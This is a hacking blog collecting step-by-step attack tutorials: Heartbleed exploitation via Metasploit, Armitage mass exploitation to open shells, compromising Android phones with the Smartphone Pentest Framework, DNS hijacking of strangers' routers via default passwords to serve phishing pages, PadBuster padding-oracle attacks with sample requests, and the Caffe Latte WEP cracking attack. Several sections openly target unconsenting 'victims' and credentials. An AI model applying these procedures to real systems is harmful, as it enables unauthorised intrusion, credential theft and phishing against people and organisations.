Saturday, 26 April 2014

22.Tutorial On Exploiting Openssl's HeartBleed Vulnerability

Well Yeah You Heared It Right.In This Tutorial Am going to write about Exploiting The Recent Boom vulnerability called "HeartBleed" on one of the most widely implemented OpenSSL.

What is HeartBleed?

 The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).

The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users and to impersonate services and users.
What data Will You Compromise using this Attack?
 Using this,I attacked a host from outside, without leaving a trace. Without using any privileged information or credentials we were able steal from ourselves the secret keys used for our X.509 certificates, user names and passwords, instant messages, emails and business critical documents and communication.


This can be Attacked using the Latest exploit that "metasploit" has included in it's latest update.
Am here Using the Kali Linux to Run the Metasploit console

Step 1:
Go to Command Prompt in Kali Linux and Run the Following Command.

root@Darkgrouz:~# msfconsole 

Step 2:

After the Msfconsole shows up with the following line you are set to go.


Then issue the following command to search for the heartbleed auxiliary

msf>search heartbleed

Msf will now search for the heartbleed auxiliary and dispaly it.
Step 3:

After You Got the heart Bleed Auxiliary  Path.Issue the following Command

root@Darkgrouz:~# use auxiliary/scanner/ssl/openssl_heartbleed 

Once You have done It , The console will look like this now,

msf auxiliary(openssl_heartbleed) > 

Step 4:

Then You Can Go Right into Attacking the host.
Issue these Foolowing Commands.

msf auxiliary(openssl_heartbleed) >set RHOSTS

Then Stop All other networking applications like browsers,downloads,etc..
and start the "WIRESHARK" to sniff the traffic of heartbleed response.This can be done by simply typing the command Wreshark in terminal.

Then in wireshark choose the interface you want to sniff and click start.

Then run the following command in the msfconsole

msf auxiliary(openssl_heartbleed) >Run 

It'll then try to exploit the vulnerability if the server is vulnerable to heartbleed.

Step 5:

And if the server is vulnerable and is exploited it should return this.

msf auxiliary(openssl_heartbleed) > run
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Step 6:

Check Out the traffic sniffed in the wireshark and Look for any valid data that server returns.

I do got the server Certifacte and some credentials after exploiting with this.

Feel free to contact me for further Doubts

Check Out your Luck Folks..

** Happy Hunting :)  **  



Sunday, 20 April 2014

21.Hacking With Armitage

I think that Kali or Backtrack Users may came to hear the name of ARMITAGE.
Yeah it's a cool Attack Kit included in both kali and backtrack.To be quick It's a Simple Attack Management Interface for Metasploit and it's more ease of use for newbies.Today I'll cover a Step by Step tutorial on attacking live host machine.


1.Backtrack or Kali Linux Distributions

Step 1:(Opening armitage)

[Image: KNfyH.png]

Step 2:(Connecting through Armitage)

[Image: jyxPt.png]

 [Image: Uz8ms.png]

 Step 3:(Making a Quick Scan to OS detect Hosts)

Here i just used Quick Scan(OS Detect) method of nmap scan.But You can too Use all other methods for your Convinience.

 [Image: yMARv.png]

Step 4:(Enter The Host IP address)
Here Enter the Host IP Address or IP address range for nmap to Scan 
 [Image: 1PZC0.png]

 Step 5:(OS Detection Finished)
This is how it looks when Armitage Finds out OS of The Target host.

 [Image: C9OjL.png]

Step 6:(Scanning the machine)

once the OS Detection has been finished.Right Click on the Target machine and choose the Scan option attached to it.
 [Image: 07Y3v.png]

 And wait untill you see this on console at bottom.

[Image: Wu7oV.png]

 Step 7:(Finding Attacks)

Once the Scan is completed.Do this Attacks-->Find Attacks

[Image: JhU2I.png]

And After Finding Attacks has finished Do Attacks-->Hail Marry

[Image: IjlXP.png]

Step 8:(Making Interaction with Target Machine)

And Once The Launching Exploits tab disappears right click on Red Colored machine and choose Interact option(If target is Linux machine) & Meterpreter (If target is windows machine)

[Image: SNyOY.png]

You will see a shell session is opened at bottom CLI.That's it !! BOOM !!
Play Around Little Providing Commands.Here i used "ls" command.

[Image: BQuNp.png]

Thanks Firends..Happy Hunting .. :)

20.Hacking Smart Phones with Backtrack
 Actually this tutorial is based on the smartphone-penetration-framework that was included in backtrack(Linux Distribution) by default.You can Have quick intro of it through a little googling cause am gonna jump for tutorial right away..:) 


1.Backtrack 5 R3 or Kali
2. xampp for Linux
3.A smartphone(i used a android phone here)
4.*If you are doing it outside of your network you need to port forward your router  

Step 1:(Installing Xampp on Linux)

Open up a terminal window and type

Once xampp has finished downloading, go to your home directory and you should have a file called "download.php?xampp-linux-1.7.3a.tar.gz" rename it to something like "xampp.tar.gz".

In your terminal window run
tar xvfz xampp.tar.gz -C /opt

Everything should be installed and you can find xampp in /opt/lampp/ directory

Step 2:(Configuring Xampp)
/opt/lampp/lampp start
/opt/lampp/lampp stop
To start and stop the Xampp service

Once Xampp has started, go to "localhost" in your browser and select your language. Navigated to "Phpmyadmin" and create a new database called "framework".

Next add a new user by going to the "privileges" tab then "add a new user" Use whatever username and password you want and select "local" from the hosts list.

Make sure you "Check All" global privileges, then click go.
Now delete the htdocs folder in /opt/lampp/ 

Step 3:(Configuring SPF files)

Navigate to the SPF config file
And replace
#IPADDRESS FOR WEBSERVER - with your local/public ip.
#IP ADDRESS TO LISTEN ON FOR SHELLS - with your local/public ip.
#USERNAME OF THE MYSQL USER TO USE - with the username you made in phpmyadmin
#PASSWORD OF THE MYSQL USER TO USE - with the password of the user you set



Open up the smartphone-pentest-framework window by going to applications>backtrack>exploitation tools>wireless exploitation tools>gsm exploitation>Smartphone-pentest-framework

Select option 4 then select option 2.

Input your phone number, then input a 7 digit control key to connect to your victims and then enter the path you want your app to located on your webserver (I will be using /). Now don't expect anything to happen just yet, you need to configure your phone with SPF.

Locate the file

And move it over to your phone by uploading it to dropbox or just connecting your phone to your computer.

Install it then open it up. Put in the details you filled out a minute ago in
SPF and your ip the webserver is setup on and press setup.

Step 5:(Attacking People)

Open up smartphone-pentest-framework and select option 6 then pick between the direct download (just sends a text to the person from your phone with a direct download to the file) or client side shell (uses a browser exploit in android phones to give you shell access).

If you select option 1 you must move the file
To your root directory.

Once you get a victim, just open up smartphone-pentest-framework again, select option 1, fill in the details and you can then control the victim from your mobile phone. 

And also you can get more info on SPF here:

Thanks Friends..Happy Hunting .. :)

Monday, 28 October 2013


This is an introduction to DNS poisoning which also includes an example of quite a nifty application of it using the IP Experiment. It's purely educational, so I'm not responsible for how you use the information in it. You're free do redistribute this tutorial wherever you like, but please keep it in its original form and credit me.

To start, you'll need

    * A computer running Linux (Ubuntu in my case)
    * A basic understanding of how the Domain Name System (DNS) works

Note that this is a more advanced topic; don't try this if you don't know what you're doing.

Why DNS?

The DNS provides a way for computers to translate the domain names we see to the physical IPs they represent. When you load a webpage, your browser will ask its DNS server for the IP of the host you requested, and the server will respond. Your browser will then request the webpage from the server with the IP address that the DNS server supplied.

Here's a pretty diagram to help explain it

If we can find a way to tell the client the wrong IP address, and give them the IP of a malicious server instead, we can do some damage

Malicious DNS Server

So if we want to send clients to a malicious web server, first we need to tell them its IP, and so we need to set up a malicious DNS server.
The server I've selected is dnsmasq - its lightweight and the only one that works for this purpose (that I've found)
To install dnsmasq on Ubuntu, run sudo apt-get install dnsmasq, or on other distributions of Linux, use the appropriate package manager.

Once you've installed it you can go and edit the configuration file (/etc/dnsmasq.conf)

sudo gedit /etc/dnsmasq.conf

The values in there should be sufficient for most purposes. What we want to do is hard-code some IPs for certain servers we want to spoof

The format for this is address=/HOST/IP

So for example;


..where is the IP of your malicious web server

Save the file and restart dnsmasq by running

sudo /etc/init.d/dnsmasq restart

You now have a DNS server running which will redirect requests for to

Malicious Web Server

You probably already have a web server installed. If not, install apache. This is pretty basic, so I won't cover it here.

There are a couple of things you can do with the web server. It will be getting all the traffic intended for the orignal website, so the most likely cause of action would be to set up some sort of phishing site

I'll presume you know how to do that though

Another alternative is to set up some sort of transparent proxy which logs all activity. I might come back to this in the future.

I Can Be Ur DNS Server Plz?

Okay, so now you've got a DNS server pointing clients to your malicious server. But no one's going to listen to it, because it's not anyone's DNS server.

You need to set your victim to use your malicious server as its DNS server. If you can access their router settings, this can normally be set. Normally there are two DNS servers specified; change one of them to the IP of your malicious DNS server, hit enter and voila!

Now just wait for your victim to browse to the spoofed website and you'll have fun playing with their data!

An alternative is to, instead of a spoof webserver, set up a Metasploit browser_autopwn module as detailed here. You can have lots of fun with that ;)

If you don't know, the IP Experiment basically harvests people's IPs through websites such as forums and scans them for open ports. A surprising number of these IPs have port 80 open and more often that not, that leads straight to a router configuration mini-site. 'Admin' and 'password' will get you far in life; its fairly easy to login and change the DNS settings, and BOOM. You have a victim!

The same techniques can be applied to in many different ways.


Sunday, 28 April 2013

18.Automated Padding Oracle Attacks with PadBuster

     There’s been a lot of buzz recently about Padding Oracle Attacks, an attack vector demonstrated by Juliano Rizzo and Thai Duong during their presentation at BlackHat Europe earlier this summer. While padding oracles are relatively easy to exploit, the act of exploiting them can be time consuming if you don’t have a good way of automating the attack. The lack of good tools for identifying and exploiting padding oracles led us to develop our own internal padding oracle exploit script, PadBuster, which we’ve decided to share with the community .

The tool can be downloaded here, here I’ll spend a little bit of time discussing how the tool works and the various use cases it supports.

Some Background:

Before we discuss using PadBuster, let’s briefly discuss the fundamentals of a classic padding oracle attack. As the term implies, a critical concept behind a padding oracle attack is the notion of cryptographic padding. Plaintext messages come in a variety of lengths; however, block ciphers require that all messages be an exact number of blocks. To satisfy this requirement, padding is used to ensure that a given plaintext message can always be divided into an exact number of blocks.
While several padding schemes exist, one of the most common padding schemes is described in the PKCS#5 standard. With PCKS#5 padding, the final block of plaintext is padded with N bytes (depending on the length of the last plaintext block) of value N. This is best illustrated through the examples below, which show words of varying length (FIG, BANANA, AVOCADO, PLANTAIN, PASSIONFRUIT) and how they would be padded using PKCS#5 padding (the examples below use 8-byte blocks).

Click to Enlarge
Note that at least one padding byte is ALWAYS appended to the end of a string, so a 7-byte value (like AVOCADO) would be padded with 0x01 to fill the block, while an 8-byte value (like PLANTAIN) would have a full block of padding added to it. The value of the padding byte also indicates the number of bytes, so logically final value(s) at the end of the last block of ciphertext must either:
  • A single 0x01 byte (0x01)
  • Two 0x02 bytes (0x02, 0x02)
  • Three 0x03 bytes (0x03, 0x03, 0x03)
  • Four 0x04 bytes (0x04, 0x04, 0x04, 0x04)
  • ...and so on
If the final decrypted block does not end in one of these valid byte sequences, most cryptographic providers will throw an invalid padding exception. The fact that this exception gets thrown is critical for the attacker (us) as it is the basis of the padding oracle attack.
A Basic Padding Oracle Attack Scenario

To provide a concrete example, consider the following scenario:

An application uses a query string parameter to pass the encrypted username, company id, and role id of a user. The parameter is encrypted using CBC mode, and each value uses a unique initialization vector (IV) which is pre-pended to the ciphertext.

When the application is passed an encrypted value, it responds in one of three ways:
  • When a valid ciphertext is received (one that is properly padded and contains valid data) the application responds normally (200 OK)
  • When an invalid ciphertext is received (one that, when decrypted, does not end with valid padding) the application throws a cryptographic exception (500 Internal Server Error)
  • When a valid ciphertext is received (one that is properly padded) but decrypts to an invalid value, the application displays a custom error message (200 OK)
The scenario described above is a classic Padding Oracle, because we can use the behavior of the application to easily determine whether the supplied encrypted value is properly padded or not. The term oracle refers to a mechanism that can be used to determine whether a test has passed or failed.
Now that the scenario has been laid out, let’s take a look at one of the encrypted parameters used by the application. This parameter is used by the application to store a semi-colon delimited series of values that, in our example, include the user’s name (BRIAN), company id (12), and role id (2). The value, in plaintext, can be represented as BRIAN;12;2;. A sample of the encrypted query string parameter is shown below for reference. Note that the encrypted UID parameter value is encoded using ASCII Hex representation.

At this point, an attacker would not have any idea what the underlying plaintext is, but for the sake of this example, we already know the plaintext value, the padded plaintext value, and the encrypted value (see diagram below). As we mentioned previously, the initialization vector is pre-pended to the ciphertext, so the first block of 8 bytes is just that.

As for the block size, an attacker would see that the length of the encrypted ciphertext is 24 bytes. Since this number is evenly divisible by 8 and not divisible by 16, one can conclude that you are dealing with a block size of 8 bytes. Now, for reference take a look at what happens internally when this value is encrypted and decrypted. We see the process byte-for-byte in the diagram as this information will be helpful later on when discussing the exploit. Also note that the circled plus sign represents the XOR function.

Encryption Diagram (Click to Enlarge):

Decryption Diagram (Click to Enlarge):

It is also worthwhile to point out that the last block (Block 2 of 2), when decrypted, ends in a proper padding sequence as expected. If this were not the case, the cryptographic provider would throw an invalid padding exception.
The Padding Oracle Decryption Exploit
Let’s now look at how we can decrypt the value by using the padding oracle attack. We operate on a single encrypted block at a time, so we can start by isolating just the first block of ciphertext (the one following the IV) and sending it to the application pre-pended with an IV of all NULL values. The URL and associated response are shown below:

Request:  http://sampleapp/home.jsp?UID=0000000000000000F851D6CC68FC9537
Response:  500 - Internal Server Error
A 500 error response makes sense given that this value is not likely to result in anything valid when decrypted. The diagram below shows a closer look at what happens underneath the covers when the application attempts to decrypt this value. You should note that since we are only dealing with a single block of ciphertext (Block 1 of 1), the block MUST end with valid padding in order to avoid an invalid padding exception.

As shown above, the exception is thrown because the block does not end with a valid padding sequence once decrypted. Now, let’s take a look at what happens when we send the exact same value but with the last byte of the initialization vector incremented by one.

Request: http://sampleapp/home.jsp?UID=0000000000000001F851D6CC68FC9537
Response: 500 - Internal Server Error
Like before, we also get a 500 exception. This is due to the fact that, like before, the value does not end in a valid padding sequence when decrypted. The difference however, is that if we take a closer look at what happens underneath the covers we will see that the final byte value is different than before (0x3C rather than 0x3D).

If we repeatedly issue the same request and increment just the last byte in the IV each time (up to FF) we will inevitably hit a value that produces a valid padding sequence for a single byte of padding (0x01). Only one value (out of the possible 256 different bytes) will produce the correct padding byte of 0x01. When you hit this value, you should end up with a different response than the other 255 requests.

Request: http://sampleapp/home.jsp?UID=000000000000003CF851D6CC68FC9537
Response: 200 OK
Let’s take a look at the same diagram to see what happens this time.

Given this is the case, we can now deduce the intermediary value byte at this position since we know that when XORed with 0x3C, it produces 0x01.
If [Intermediary Byte] ^ 0x3C == 0x01,
then [Intermediary Byte] == 0x3C ^ 0x01,
so [Intermediary Byte] == 0x3D

Taking this one step further, now that we know the intermediary byte value we can deduce what the actual decrypted value is. You'll recall that during the decryption process, each intermediary value byte is XORed with the corresponding byte of the previous block of ciphertext (or the IV in the case of the first block). Since the example above is using the first block from the original sample, then we need to XOR this value with the corresponding byte from the original IV (0x0F) to recover the actual plaintext value. As expected, this gives us 0x32, which is the number "2" (the last plaintext byte in the first block).
Now that we’ve decrypted the 8th byte of the sample block, it’s time to move onto the 7th byte. In order to crack the 8th byte of the sample, we brute forced an IV byte that would produce a last decrypted byte value of 0x01 (valid padding). In order to crack the 7th byte, we need to do the same thing, but this time both the 7th and 8th byte must equal 0x02 (again, valid padding). Since we already know that the last intermediary value byte is 0x3D, we can update the 8th IV byte to 0x3F (which will produce 0x02) and then focus on brute forcing the 7th byte (starting with 0x00 and working our way up through 0xFF).

Once again, we continue to generate padding exceptions until we hit the only value which produces a 7th decrypted byte value of 0x02 (valid padding), which in this case is 0x24.

Using this technique, we can work our way backwards through the entire block until every byte of the intermediary value is cracked, essentially giving us access to the decrypted value (albeit one byte at a time). The final byte is cracked using an IV that produces an entire block of just padding (0x08) as shown below.

The Decryption Exploit with PadBuster

Now let’s discuss how to use PadBuster to perform this exploit, which is fairly straightforward. PadBuster takes three mandatory arguments:
  • URL - This is the URL that you want to exploit, including query string if present. There are optional switches to supply POST data (-post) and Cookies if needed (-cookies)
  • Encrypted Sample - This is the encrypted sample of ciphertext included in the request. This value must also be present in either the URL, post or cookie values and will be replaced automatically on every test request
  • Block Size - Size of the block that the cipher is using. This will normally be either 8 or 16, so if you are not sure you can try both
For this example, we will also use the command switch to specify how the encrypted sample is encoded. By default PadBuster assumes that the sample is Base64 encoded, however in this example the encrypted text is encoded as an uppercase ASCII HEX string. The option for specifying encoding (-encoding) takes one of the following three possible values:
  • 0: Base64 (default)
  • 1: Lowercase HEX ASCII
  • 2: Uppercase HEX ASCII
The actual command we run will look like the following: http://sampleapp/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795
A28ED4AAC67B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
Notice that we never told PadBuster how to recognize a padding error. While there is a command line option (-error) to specify the padding error message, by default PadBuster will analyze the entire first cycle (0-256) of test responses and prompt the user to choose which response pattern matches the padding exception. Typically the padding exception occurs on all but one of the initial test requests, so in most cases there will only be two response patterns to choose from as shown below (and PadBuster will suggest which one to use).

The initial output from PadBuster is shown in the screenshot above. You’ll see that PadBuster re-issues the original request and shows the generated response information before starting its testing. This is useful for authenticated applications to ensure that the authentication cookies provided to PadBuster are working correctly.
Once a response pattern is selected, PadBuster will automatically cycle through each block and brute force each corresponding plaintext byte which will take, at most, 256 requests per byte. After each block, PadBuster will also display the obtained intermediary byte values along with the calculated plaintext. The intermediary values can be useful when performing arbitrary encryption exploits as we will show in the next section.

Encrypting Arbitrary Values
We've just seen how a padding oracle and PadBuster can be used to decrypt the contents of any encrypted sample one block at a time. Now, let’s take a look at how you can encrypt arbitrary payloads using the same vulnerability.
You have probably noticed that once we are able to deduce the intermediary value for a given ciphertext block, we can manipulate the IV value in order to have complete control over the value that the ciphertext is decrypted to. So in the previous example of the first ciphertext block that we brute forced, if you want the block to decrypt to a value of "TEST" you can calculate the required IV needed to produce this value by XORing the desired plaintext against the intermediary value. So the string "TEST" (padded with four 0x04 bytes, of course) would be XORed against the intermediary value to produce the needed IV of 0x6D, 0x36, 0x70, 0x76, 0x03, 0x6E, 0x22, 0x39.

This works great for a single block, but what if we want to generate an arbitrary value that is more than one block long? Let’s look at a real example to make it easier to follow. This time we will generate the encrypted string "ENCRYPT TEST" instead of just "TEST". The first step is to break the sample into blocks and add the necessary padding as shown below:

When constructing more than a single block, we actually start with the last block and move backwards to generate a valid ciphertext. In this example, the last block is the same before, so we already know that the following IV and ciphertext will produce the string "TEST".

Request:  http://sampleapp/home.jsp?UID=6D367076036E2239F851D6CC68FC9537
Next, we need to figure out what intermediary value 6D367076036E2239 would decrypt to if it were passed as ciphertext instead of just an IV. We can do this by using the same technique used in the decryption exploit by sending it as the ciphertext block and starting our brute force attack with all nulls.

Request:  http://sampleapp/home.jsp?UID=00000000000000006D367076036E2239
Once we brute force the intermediary value, the IV can be manipulated to produce whatever text we want. The new IV can then be pre-pended to the previous sample, which produces the valid two-block ciphertext of our choice. This process can be repeated an unlimited number of times to encrypt data of any length.
Encrypting Arbitrary Values with PadBuster
PadBuster has the option to automate the process of creating arbitrary encrypted values in addition to decrypting them. There are three command line switches related to creating ciphertexts:
  • -plaintext [String]: plaintext to EncryptThis is the plaintext you want to encrypt. This option is mandatory when using PadBuster to encrypt data, and its presence is what tells PadBuster to perform encryption instead of decryption
  • -ciphertext [Bytes]: CipherText for Intermediary Bytes (Hex-Encoded)Optional - can be used to provide the starting ciphertext block for encryption. This option must be used in conjunction with the -intermediary option (see below)
  • -intermediary [Bytes]: Intermediary Bytes for CipherText (Hex-Encoded)Optional - can be used to provide the corresponding intermediary byte values for the cipher text specified with the -ciphertext option.
The purpose of the -ciphertext and -intermediary options is to speed up the exploit process as it reduces the number of ciphertext blocks that must be cracked when generating a forged ciphertext sample. If these options are not provided, PadBuster will start from scratch and brute force all of the necessary blocks for encryption. Let’s take a look at the actual command syntax used to encrypt data with PadBuster: http://sampleapp/home.jsp?UID=7B216A634951170FF851D6CC68FC95378587
95A28ED4AAC67B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 
-plaintext "ENCRYPT TEST" 
The output from PadBuster is shown in the screenshot below:

You’ll notice that just like before, PadBuster will first ask you to choose the correct padding error response signature. This step can be skipped if you manually specify the padding error message using the -error option. Also notice that PadBuster performed a brute force of both full ciphertext blocks, because we didn’t specify a starting ciphertext block and associated intermediary value to use. If we had provided these values to PadBuster, the first block would have been calculated instantly and only the second block would require brute force as shown below. http://sampleapp/home.jsp?UID=7B216A634951170FF851D6CC68FC953785879
5A28ED4AAC67B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 -plaintext 
"ENCRYPT TEST"-ciphertext F851D6CC68FC9537 -intermediary 39732322076A263D

As you can see, the first block (Block 2) was calculated before prompting for the response signature since this block was calculated using just the data provided with the -ciphertext and -intermediary options. If you are wondering where these two values came from, remember that PadBuster prints these two values to the screen at the conclusion of each round of block processing.
So to wrap things up, we are releasing PadBuster because we think that other pen testers can benefit from a flexible exploit script for detecting and exploit padding oracles. We would be interested in hearing if there are other features that would make the tool more useful or practical from a tester’s perspective, so let us know if you have any feedback.


Wednesday, 23 January 2013


    In the Honeypot attacks , we notice that clients will continuously probe for SSIDs they have
connected to previously. If the client had connected to an access point using WEP, operati ng
systems such as Windows, cache and store the WEP key. The next ti me the client connects to
the same access point, the Windows wireless confi gurati on manager automati cally uses the
stored key.
                                                  The Caffe Latte attack is a WEP att ack which allows a hacker
to retrieve the WEP key of the authorized network, using just the client. The attack does not
require the client to be anywhere close to the authorized WEP network. It can crack the WEP
key using just the isolated client.

          In this  exercise, we will retreive the WEP key of a network from a client using the Caffe
Latte attack.


 Follow these instructi ons to get started:

           Let us fi rst set up our legiti mate access point with WEP for the network Wireless Lab
with the key ABCDEFABCDEFABCDEF12 in Hex:


 STEP 2:

Let us connect our client to it and ensure that the connection is successful using airodump-ng  as shown next:


Let us unplug the access point and ensure the client is in the un-associated stage
and searching for the WEP network Wireless Lab:


 Now  use  airbase-ng  to bring up an access point with Wireless Lab as the SSID
with the parameters shown next:


 As soon as the client connects to this access point,  airbase-ng  starts the CaFFe-
Latte attack as shown:

                                                     STEP 6:
             We now start  airodump-ng  to collect the data packets from this access point only,
as we did before in the WEP-cracking case:

                                                      STEP 7:
   We also start  aircrack-ng  as in the WEP-cracking   to begin
the cracking process. The command line would be  aircrack-ng filename  where
filename is the name of the file created by  airodump-ng :
                                                     STEP 8:
 Once we have enough WEP encrypted packets,  aircrack-ng  succeeds in cracking
the key as shown next: